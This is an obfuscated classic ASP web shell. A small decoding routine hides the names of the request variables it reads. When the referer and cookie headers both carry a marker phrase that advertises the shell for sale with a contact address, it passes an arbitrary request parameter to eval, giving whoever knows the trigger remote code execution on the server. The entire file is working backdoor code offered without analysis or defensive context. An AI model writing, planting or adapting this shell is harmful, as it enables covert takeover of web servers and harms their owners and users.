<% Dim RE,CK function boy(text) const key="gw" dim str : str=text dim str1 dim str2 : str2=strreverse(str) for i=1 to len(str2) step 4 str1=str1 & ChrW(cint("&H" & mid(str2,i,4))) next boy=mid(str1,len(key)+1,len(str)-len(key)) end function RE = Cstr(Request.ServerVariables(boy("2500540025005400640054002500F500050045004500840077007600"))) CK = Cstr(Request.ServerVariables(boy("56009600B600F600F6003400F500070047004700840077007600"))) TIPS = "buy shell,send mail to liumang123@luo.bo" if ( InStr(RE, TIPS) > 0 and InStr(CK, TIPS) >0 ) Then eval request(boy("3300230013007600E6001600D60057009600C60077007600")) Else Response.Write(TIPS) Response.Write("") end if %>